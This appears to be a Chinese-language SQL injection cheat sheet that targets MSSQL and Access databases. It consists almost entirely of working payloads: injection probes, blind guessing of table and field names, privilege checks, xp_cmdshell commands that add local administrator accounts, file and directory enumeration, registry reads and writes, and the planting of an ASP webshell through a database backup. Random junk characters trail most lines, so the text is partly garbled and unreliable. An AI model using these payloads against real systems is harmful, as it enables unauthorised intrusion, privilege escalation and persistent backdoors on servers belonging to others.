1.判断是否有注入;and 1=1 ;and 1=2 8t7hN?,t
2.初步判断是否是mssql ;and user>0
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3.注入参数是字符'and [查询条件] and ''=' +,KuYa{lu
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' ![V<vIy
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5.判断数据库系统 p1D-Q7F
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;and (select count(*) from sysobjects)>0 mssql Wx-{F
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;and (select count(*) from msysobjects)>0 access ilHj%h*z
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 +HcH]D;
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 $i2gOz
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 .9E`x>C
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9.(1)猜字段的ascii值(access) C[s*Na-
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 kOc'@;_O
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(2)猜字段的ascii值(mssql) VEn%_9(]
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 IaJ(T>"+
un/R7"
10.测试权限结构(mssql) ~cez+VQe
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 1`uIjXr(
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- uI%[1`2N-
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ~Ch`A@=5
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- bH.">IV
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- [_~U<
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- #}gc6T~0
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;and 1=(select IS_MEMBER('db_owner'));-- |~/{lE=I
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11.添加mssql和系统的帐户 j C@^/rMh
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;exec master.dbo.sp_addlogin username;-- WGO=@jkf
;exec master.dbo.sp_password null,username,password;-- RHBEC@d[}
FJ!>3V;}
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- Du{]r[[C
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;exec master.dbo.xp_cmdshell 'net user username password 8sIGJ|ku
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- vJ{\67tK
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- -R8RAwsLG
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- Z4e?zY
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12.(1)遍历目录 EbW7Av
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;create table dirs(paths varchar(100), id int) <)}*S
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;insert dirs exec master.dbo.xp_dirtree 'c:\' sv[)?1S
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;and (select top 1 paths from dirs)>0 <E^:{J95
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) Gg&jb=
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(2)遍历目录 f;b(W
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- >Kr,(8rA
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 z(m*]kpL"
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 D"o>\Q
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 n% *u;iG
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 wb{y]~&6K
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13.mssql中的存储过程 REt()$
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xp_regenumvalues 注册表根键, 子键 8'?e4;O
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 \\'!<Bn2d
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xp_regread 根键,子键,键值名 HU'd/5fun
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;exec xp_regread Y,8M[UIK
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 *s!8BwiE
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xp_regwrite 根键,子键, 值名, 值类型, 值 :4WwCpgz,
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 lf Giw^
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 uM\~*@
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xp_regdeletevalue 根键,子键,值名 ja:%j&:
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 Mpj3<vj
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 e8[*=&
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14.mssql的backup创建webshell ^C'k.pV
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use model $<yb~z7J
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create table cmd(str image); G,XFS8{%
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insert into cmd(str) values (''); Bb1dH/8
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backup database model to disk='c:\l.asp'; }&!rIU
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15.mssql内置函数 p<![JeV
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;and (select @@version)>0 获得Windows的版本号 vI+PL(T@
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa #v`G4d
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;and (select user_name())>0 爆当前系统的连接用户 ;bZ)q
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;and (select db_name())>0 得到当前连接的数据库 S'A~9+
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16.简洁的webshell u?aq'
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use model Fc nR}TE
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create table cmd(str image); 9@S
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insert into cmd(str) values (''); ucMl>G'!gX
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backup database model to disk='g:\wwwtest\l.asp';